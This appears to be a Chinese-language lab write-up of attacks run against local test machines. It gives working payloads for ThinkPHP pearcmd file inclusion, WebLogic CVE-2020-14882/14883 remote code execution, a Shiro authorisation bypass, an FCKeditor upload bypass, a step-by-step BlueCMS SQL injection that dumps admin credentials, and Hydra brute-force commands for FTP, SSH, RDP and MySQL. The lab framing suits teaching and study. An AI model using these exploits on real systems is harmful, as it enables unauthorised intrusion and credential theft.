1、RCE:分別實現ThinkPHP、Weblogic、Shiro漏洞的利用過程
-
ThinkPHP
滿足條件:多語言特性開啟、安裝pear庫、知道pearcmd.php路徑、register_argc_argv = on的前提下且ThinkPHP在漏洞版本中,再實現漏洞過程。
-
前端訪問pearcmd檔案,出現如下報錯確定檔案存在
-
插入程式碼實現檔案包含(由於前端會進行url編碼,需要利用burp抓包成功繞過過濾)
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<? =phpinfo()?>+/var/www/html/info.php
-
訪問檔案地址,RCE成功實現
-
-
Weblogic
滿足條件:Weblogic在相應漏洞版本中
-
CVE-2020-14882(未授權訪問到管理後臺頁面)
http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal
-
CVE-2020-14883(在管理後臺頁面執行遠端命令)
方式一:
-
將含有惡意xml程式碼上傳到事先準備好的模擬攻擊者靶場中
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/test01]]></value> </list> </constructor-arg> </bean> </beans>
-
讓weblogic後臺訪問惡意xml檔案的url並執行其中的程式碼
http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.0.0.151:8081/hackable/uploads/test01.xml")
-
在後臺看到建立出的test01檔案,說明rce成功
方式二:
-
直接訪問如下url執行xml命令,後臺建立test02檔案
http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/test02');")
-
-
-
Shiro
滿足條件:shiro在相應漏洞版本中
-
CVE-2016-4437(反序列化漏洞)
-
使用反序化工具實現
-
-
CVE-2020-1957(許可權繞過漏洞)
-
透過構造惡意請求 /xxx/..;/admin/ ,即可繞過許可權校驗,直接訪問到管理頁面
-
-
2、FCKeditor編輯器漏洞實驗
滿足條件:Windows 7 + phpstudy_64(php 5.4.45)
-
利用御劍獲取fckeditor目錄檔案資訊
-
得到本版資訊,及上傳功能點的url
-
插入/影像- - ->連結- - ->Browse Server,會出現FCK上傳頁面
-
由於搭建的站點使用的是php環境,而連結中的環境是ASP,需要對地址以及fckeditor的配置檔案進行修改
地址asp均改為php:
http://10.0.0.154/fckeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php
配置檔案路徑:
C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php
-
可以正常訪問後,burp抓包繞過網站過濾(在php檔案後新增空格)成功上傳php檔案
-
根據前面的配置檔案構造出路徑並訪問,成功實現FCKeditor編輯器漏洞
http://10.0.0.154/FCKeditor/editor/filemanager/browser/default/images/file/info.php
-
3、bluecms旁註漏洞,並解釋為什麼旁站攻擊可以拿下主站?跨庫的意思是什麼?
-
bluecms旁註漏洞實現:
- 在bluecms首頁用(admin/123456)嘗試使用者登入,從返回訊息看推測存在admin使用者且存在後臺
-
透過嘗試試出後臺為http://10.0.0.154/bluecms/uploads/admin/,這時就可以利用burp進行密碼爆破了
-
透過賬號密碼(admin/admin)成功登入後臺,在廣告管理模組隨便新增一條廣告後,發現有獲取js程式碼的功能
-
透過獲取到的js程式碼,推測網站可能存在sql注入漏洞;訪問url驗證,確實存在
-
開始進行sql注入測試
-
先透過
order by
來判斷sql語句查了多少列,當大於7的時候報錯,證明有一共有7列 -
再利用union all 判斷顯示位 > 7
-1 union all select 1,2,3,4,5,6,7
-
獲取庫名 > bluecms
-1 union all select 1,2,3,4,5,6,database()
-
表名 > 關鍵表名blue_user
-1 union all select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
-
欄位名 > 關鍵欄位user_name,pwd
-1 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'
由於網站對單引號過濾,需要對bluecms使用16進位制編碼繞過
-1 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572
-
具體資料 > admin/admin
-1 union all select 1,2,3,4,5,6,concat(user_name,0x7e,pwd) from blue_user
後面的字串透過MD5解碼得到密碼為admin。
-
-
旁站攻擊可以拿下主站的原因:因為旁站和主站部署在同一伺服器上,所以拿下旁站伺服器即得到整個資料庫資訊,將主站便可一併拿下。
-
跨庫:存在A,B資料庫部署在同一伺服器上,且他們都隸屬於整個MySQL資料庫管理系統中;透過在A資料庫裡查詢到B資料庫資訊即跨庫。
4、暴力猜解:hydra實現對ftp、ssh、rdp、mysql的暴力破解。
以win7為實驗物件(IP地址-10.0.0.154),kali(自帶hydra工具)為模擬攻擊者
-
ftp(環境:在win7先利用小皮建立ftp服務並開啟)
hydra 10.0.0.154 ftp -l xue -P pwd.txt -vV -f -e ns
訪問ftp://10.0.0.154伺服器,利用破解密碼成功登入
-
ssh(環境:在win7中先安裝openssh)
hydra 10.0.0.154 ssh -l xue -P pwd.txt -t 5 -vV -e nsr -o ssh.log
-
rdp(先在win7中開啟遠端桌面)
hydra 10.0.0.154 rdp -l xue -P pwd.txt
嘗試遠端連線
利用破解的密碼連線成功
-
mysql(在win7先用小皮開啟mysql服務>安裝資料庫管理工具SQL_Front5.3)
進入工具,設定MySQL允許遠端連線即新增
grant all privileges on *.* to root@'%' identified by 'root';
語句,選中右鍵選擇執行
hydra 10.0.0.154 mysql -l root -P pwd.txt